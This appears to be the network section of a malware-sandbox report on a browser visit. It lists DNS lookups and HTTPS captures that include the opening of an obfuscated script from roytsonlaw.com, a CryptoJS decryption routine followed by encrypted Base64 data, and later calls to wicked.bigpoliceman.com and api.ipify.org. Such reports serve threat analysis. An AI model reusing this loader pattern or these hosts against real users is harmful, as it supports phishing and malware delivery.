Mar 12, 2025 14:10:35.850035906 CET	53	57155	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 12, 2025 14:07:20.381078959 CET	192.168.2.6	1.1.1.1	0x19b3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:20.381268978 CET	192.168.2.6	1.1.1.1	0xced8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:21.661521912 CET	192.168.2.6	1.1.1.1	0xee91	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:21.661700964 CET	192.168.2.6	1.1.1.1	0x4604	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:39.426690102 CET	192.168.2.6	1.1.1.1	0x2d7e	Standard query (0)	roytsonlaw.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:39.426928043 CET	192.168.2.6	1.1.1.1	0x872d	Standard query (0)	roytsonlaw.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:42.335966110 CET	192.168.2.6	1.1.1.1	0x2017	Standard query (0)	wicked.bigpoliceman.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:42.336158037 CET	192.168.2.6	1.1.1.1	0x65c1	Standard query (0)	wicked.bigpoliceman.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:48.028889894 CET	192.168.2.6	1.1.1.1	0xa05f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.029067993 CET	192.168.2.6	1.1.1.1	0x5fbd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:48.032619953 CET	192.168.2.6	1.1.1.1	0xda56	Standard query (0)	wicked.bigpoliceman.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.032805920 CET	192.168.2.6	1.1.1.1	0x2ea9	Standard query (0)	wicked.bigpoliceman.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:50.860337973 CET	192.168.2.6	1.1.1.1	0x9b5b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:50.860761881 CET	192.168.2.6	1.1.1.1	0x67bb	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 12, 2025 14:07:52.331907034 CET	192.168.2.6	1.1.1.1	0x5a3a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:52.332065105 CET	192.168.2.6	1.1.1.1	0xc857	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 12, 2025 14:07:55.147178888 CET	192.168.2.6	1.1.1.1	0xd92c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:55.147412062 CET	192.168.2.6	1.1.1.1	0x36d0	Standard query (0)	api.ipify.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 12, 2025 14:07:20.387742043 CET	1.1.1.1	192.168.2.6	0x19b3	No error (0)	www.google.com	142.250.186.100	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:20.388099909 CET	1.1.1.1	192.168.2.6	0xced8	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 12, 2025 14:07:21.668149948 CET	1.1.1.1	192.168.2.6	0xee91	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:21.668149948 CET	1.1.1.1	192.168.2.6	0xee91	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:21.668356895 CET	1.1.1.1	192.168.2.6	0x4604	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 12, 2025 14:07:39.479350090 CET	1.1.1.1	192.168.2.6	0x2d7e	No error (0)	roytsonlaw.com	68.183.63.244	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:42.350850105 CET	1.1.1.1	192.168.2.6	0x2017	No error (0)	wicked.bigpoliceman.com	172.67.143.150	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:42.350850105 CET	1.1.1.1	192.168.2.6	0x2017	No error (0)	wicked.bigpoliceman.com	104.21.27.207	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:42.352061033 CET	1.1.1.1	192.168.2.6	0x65c1	No error (0)	wicked.bigpoliceman.com		65	IN (0x0001)	false
Mar 12, 2025 14:07:48.035511971 CET	1.1.1.1	192.168.2.6	0xa05f	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.035511971 CET	1.1.1.1	192.168.2.6	0xa05f	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.035511971 CET	1.1.1.1	192.168.2.6	0xa05f	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.035511971 CET	1.1.1.1	192.168.2.6	0xa05f	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.057287931 CET	1.1.1.1	192.168.2.6	0x2ea9	No error (0)	wicked.bigpoliceman.com		65	IN (0x0001)	false
Mar 12, 2025 14:07:48.062647104 CET	1.1.1.1	192.168.2.6	0xda56	No error (0)	wicked.bigpoliceman.com	172.67.143.150	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:48.062647104 CET	1.1.1.1	192.168.2.6	0xda56	No error (0)	wicked.bigpoliceman.com	104.21.27.207	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:50.866975069 CET	1.1.1.1	192.168.2.6	0x9b5b	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:50.866975069 CET	1.1.1.1	192.168.2.6	0x9b5b	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:50.866975069 CET	1.1.1.1	192.168.2.6	0x9b5b	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:50.868067980 CET	1.1.1.1	192.168.2.6	0x67bb	No error (0)	api.ipify.org		65	IN (0x0001)	false
Mar 12, 2025 14:07:52.339517117 CET	1.1.1.1	192.168.2.6	0x5a3a	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:55.153774977 CET	1.1.1.1	192.168.2.6	0xd92c	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:55.153774977 CET	1.1.1.1	192.168.2.6	0xd92c	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:55.153774977 CET	1.1.1.1	192.168.2.6	0xd92c	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 12, 2025 14:07:55.153902054 CET	1.1.1.1	192.168.2.6	0x36d0	No error (0)	api.ipify.org		65	IN (0x0001)	false

HTTP Request Dependency Graph

roytsonlaw.com

code.jquery.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	68.183.63.244	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:07:41 UTC	671	OUT	GET //attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js HTTP/1.1 Host: roytsonlaw.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-12 13:07:42 UTC	380	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 12 Mar 2025 13:07:41 GMT Content-Type: application/javascript Content-Length: 21228 Last-Modified: Tue, 11 Mar 2025 16:06:49 GMT Connection: close Vary: Accept-Encoding ETag: "67d05f99-52ec" Expires: Thu, 13 Mar 2025 01:07:41 GMT Cache-Control: max-age=43200 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2025-03-12 13:07:42 UTC	16004	IN	Data Raw: 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 65 63 73 74 72 28 65 6e 63 72 79 70 74 65 64 53 74 72 69 6e 67 2c 20 6b 65 79 29 20 7b 0d 0a 20 20 63 6f 6e 73 74 20 65 6e 63 72 79 70 74 65 64 44 61 74 61 20 3d 20 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 42 61 73 65 36 34 2e 70 61 72 73 65 28 65 6e 63 72 79 70 74 65 64 53 74 72 69 6e 67 29 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 69 76 20 3d 20 43 72 79 70 74 6f 4a 53 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2e 63 72 65 61 74 65 28 65 6e 63 72 79 70 74 65 64 44 61 74 61 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 2c 20 34 29 29 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 63 69 70 68 65 72 74 65 78 74 20 3d 20 43 72 79 70 74 6f 4a 53 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2e 63 72 65 61 74 65 28 0d 0a 20 20 20 20 65 6e 63 72 Data Ascii: function decstr(encryptedString, key) { const encryptedData = CryptoJS.enc.Base64.parse(encryptedString); const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4)); const ciphertext = CryptoJS.lib.WordArray.create( encr
2025-03-12 13:07:42 UTC	5224	IN	Data Raw: 57 78 35 54 7a 4e 56 57 6d 35 4b 56 30 64 6d 62 7a 68 31 4e 6e 4e 53 54 56 6f 72 56 6c 56 69 52 30 4a 56 63 32 39 49 5a 43 73 31 53 6b 70 71 62 45 46 70 62 6a 68 6e 5a 6e 6f 7a 65 6b 56 43 4d 47 64 77 53 32 70 71 52 44 52 32 4d 31 56 43 55 45 64 70 51 55 77 77 57 6d 59 31 51 57 45 33 4e 47 74 4c 4e 6a 42 70 5a 7a 67 77 62 44 41 78 5a 32 74 4b 64 44 42 52 5a 57 68 6f 4e 30 78 4f 51 31 46 75 51 7a 46 6d 57 6c 56 44 4d 30 63 30 55 6e 41 33 4e 53 74 52 59 56 4e 69 5a 47 4a 52 64 6c 68 32 4d 30 6c 75 57 47 74 6c 59 54 4e 5a 4e 33 6f 7a 5a 6e 6c 6d 63 57 74 61 64 6c 56 4d 4d 32 5a 76 54 55 6c 4e 62 79 74 75 4e 44 52 4e 51 6d 46 77 57 58 52 70 53 6b 39 59 54 6d 6b 30 4e 47 74 79 5a 6e 46 69 5a 58 5a 43 64 58 64 4a 61 57 39 50 61 7a 56 30 52 6b 70 35 57 44 4e 4e Data Ascii: Wx5TzNVWm5KV0dmbzh1NnNSTVorVlViR0JVc29IZCs1SkpqbEFpbjhnZnozekVCMGdwS2pqRDR2M1VCUEdpQUwwWmY1QWE3NGtLNjBpZzgwbDAxZ2tKdDBRZWhoN0xOQ1FuQzFmWlVDM0c0UnA3NStRYVNiZGJRdlh2M0luWGtlYTNZN3ozZnlmcWtadlVMM2ZvTUlNbytuNDRNQmFwWXRpSk9YTmk0NGtyZnFiZXZCdXdJaW9PazV0Rkp5WDNN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	151.101.194.137	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:07:50 UTC	627	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-12 13:07:50 UTC	610	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 12 Mar 2025 13:07:50 GMT Age: 3026471 X-Served-By: cache-lga21931-LGA, cache-yul1970055-YUL X-Cache: HIT, HIT X-Cache-Hits: 8175, 211 X-Timer: S1741784870.361089,VS0,VE0 Vary: Accept-Encoding
2025-03-12 13:07:50 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-12 13:07:50 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-12 13:07:50 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-12 13:07:50 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-12 13:07:50 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-12 13:07:50 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	35.190.80.1	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:07:54 UTC	572	OUT	OPTIONS /report/v4?s=XcJ6ApuSuj4Tn9fAOLzsvDzKknSVMyqyht3otbrb0LN%2F2OT65akNCYA7QsOE6hbVs4Ana%2BkoJxKe%2BXjg4Y%2Brz4l04Ip0SGvPblsQ7z4JMAKWqpJwgGc5eGQfF7zF5nHpJQt%2Ff%2FBW%2BL5yxw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://wicked.bigpoliceman.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-12 13:07:54 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 12 Mar 2025 13:07:54 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49726	35.190.80.1	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:07:56 UTC	547	OUT	POST /report/v4?s=XcJ6ApuSuj4Tn9fAOLzsvDzKknSVMyqyht3otbrb0LN%2F2OT65akNCYA7QsOE6hbVs4Ana%2BkoJxKe%2BXjg4Y%2Brz4l04Ip0SGvPblsQ7z4JMAKWqpJwgGc5eGQfF7zF5nHpJQt%2Ff%2FBW%2BL5yxw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 389 Content-Type: application/reports+json Origin: https://wicked.bigpoliceman.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-12 13:07:56 UTC	389	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 32 39 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 31 35 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 69 63 6b 65 64 2e 62 69 67 70 6f 6c 69 63 65 6d 61 6e 2e Data Ascii: [{"age":0,"body":{"elapsed_time":4297,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.143.150","status_code":405,"type":"http.error"},"type":"network-error","url":"https://wicked.bigpoliceman.
2025-03-12 13:07:57 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 12 Mar 2025 13:07:57 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50128	35.190.80.1	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:08:54 UTC	564	OUT	OPTIONS /report/v4?s=r49yJtdxG5YLmL2fdC0ELYgESI%2BLfE%2BbJQWjrrjNVZNAoUzZEtrBchVJ0LCy0IhE4HN15tQdZ4uBQjOQFmbzbTyeZ22MhnCF1MqbGyvXaRKAukFtuvJTCyXqYBC0CO2WlhDkE9%2BmhCsU0g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://wicked.bigpoliceman.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-12 13:08:54 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 12 Mar 2025 13:08:54 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50129	35.190.80.1	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-12 13:08:56 UTC	540	OUT	POST /report/v4?s=r49yJtdxG5YLmL2fdC0ELYgESI%2BLfE%2BbJQWjrrjNVZNAoUzZEtrBchVJ0LCy0IhE4HN15tQdZ4uBQjOQFmbzbTyeZ22MhnCF1MqbGyvXaRKAukFtuvJTCyXqYBC0CO2WlhDkE9%2BmhCsU0g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1174 Content-Type: application/reports+json Origin: https://wicked.bigpoliceman.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
